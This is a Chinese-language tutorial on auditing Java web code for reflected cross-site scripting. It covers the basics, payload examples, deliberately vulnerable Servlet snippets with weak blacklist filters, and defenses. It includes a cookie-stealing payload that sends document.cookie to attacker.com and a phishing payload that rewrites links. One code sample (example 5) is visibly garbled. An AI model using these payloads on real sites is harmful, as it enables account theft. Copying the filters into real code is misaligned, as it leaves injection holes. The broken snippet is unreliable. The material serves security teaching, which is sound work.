java代码审计跨站脚本(XSS)--反射型
字数 1181 2025-08-19 12:42:24
Java代码审计:反射型跨站脚本(XSS)漏洞详解
一、XSS基础概念
1. 原理
跨站脚本(XSS)攻击是指恶意攻击者往Web页面里插入恶意JavaScript代码,当服务端没有对数据进行严格过滤时,这些代码会被浏览器当作正常的HTML/JS代码解析执行。
2. 危害
- 流量劫持
- 获取用户Cookie信息,盗取账号
- 篡改、删除页面信息(钓鱼)
- 配合CSRF攻击实施进一步攻击
- 可能导致远程代码执行(XSS2RCE)
3. XSS分类
-
存储型XSS:持久性攻击,恶意代码存入数据库、session或文件
- 常见位置:用户留言、评论、用户昵称、用户信息等
-
反射型XSS:非持久性攻击,不会存入数据库
- 常见位置:用户登录、搜索框、订单等
-
DOM型XSS:特殊的跨站,通过JS和DOM技术输出到HTML中
二、XSS攻击Payload示例
1. 基本Payload
alert(123)
confirm(123)
prompt(123)
2. 标签Payload
<script>alert(1)</script>
<a href="javascript:alert(1)">click</a>
3. 实际攻击利用
盗取Cookie:
window.location.href='http://attacker.com/getCookie.php?cookie=' + document.cookie
钓鱼攻击:
document.getElementsByTagName("body")[0].onload=function chageLink(){
document.getElementsByTagName("a")[1].href="http://attacker.com/rePasswd.php"
}
三、反射型XSS代码审计
1. 常见获取前端数据的方式
(1) 使用Servlet技术
public static void test2(HttpServletRequest request, HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02"); // 获取前端参数
// ...
}
(2) 使用Struts2框架
- 通过Action类绑定参数或model参数
- 通过Action属性接受参数
(3) 使用SpringMVC获取前端参数
2. 漏洞代码示例
示例1:未进行任何过滤
public static void test1(HttpServletRequest request, HttpServletResponse response) throws IOException {
String try01 = request.getParameter("try01");
System.out.println("try01="+try01);
}
攻击请求:
index.jsp?responseTry01=<script>alert(123)</script>
示例2:基于黑名单的简单过滤
public static void test2(HttpServletRequest request, HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");
if(try02 != null) {
if(try02.contains("<script>")) {
try02 = "this program(02) is malice";
}
// ...
}
}
示例3:黑名单过滤并处理大小写
public static void test3(HttpServletRequest request, HttpServletResponse response) throws IOException {
String try03 = request.getParameter("try03");
if(try03 != null) {
if(try03.toLowerCase().contains("<script>")) {
try03 = "this program(03) is malice";
}
// ...
}
}
示例4:非法字符转义
public static void test4(HttpServletRequest request, HttpServletResponse response) throws IOException {
String try04 = request.getParameter("try04");
if(try04 != null) {
try04 = ESAPI.encoder().encodeForHTML(try04);
// ...
}
}
示例5:黑名单数据替换
public static void test5(HttpServletRequest request, HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null) {
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = " payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
// ...
}
}
四、XSS防御措施
1. 过滤策略
- 黑名单过滤:过滤已知危险字符和标签
- 白名单过滤:只允许已知安全的字符和标签
- 大小写处理:统一转换为小写/大写后再过滤
- 多重过滤:组合多种过滤方式
2. 编码策略
- HTML实体编码:将特殊字符转换为HTML实体
- URL编码:对URL中的参数进行编码
- JavaScript编码:对JS代码中的特殊字符进行编码
3. 其他防御措施
- 内容安全策略(CSP):限制页面可以加载的资源
- HttpOnly标志:防止JavaScript访问Cookie
- 输入验证:对用户输入进行严格验证
- 输出编码:根据输出上下文进行适当的编码
五、审计要点
- 寻找输入点:识别所有从HTTP请求获取参数的地方
- 追踪数据流:分析参数如何在系统中流动
- 检查输出点:确定参数最终如何输出到页面
- 验证过滤:检查是否有足够的过滤和编码措施
- 测试绕过:尝试各种Payload测试过滤是否可绕过
六、总结
反射型XSS漏洞审计的关键在于:
- 识别所有从外部获取数据的入口点
- 分析数据如何在系统中处理和传递
- 检查数据输出时是否进行了适当的编码或过滤
- 测试各种Payload验证防御措施的有效性
有效的防御需要结合多种技术,包括但不限于输入验证、输出编码、内容安全策略等,不能仅依赖单一防护措施。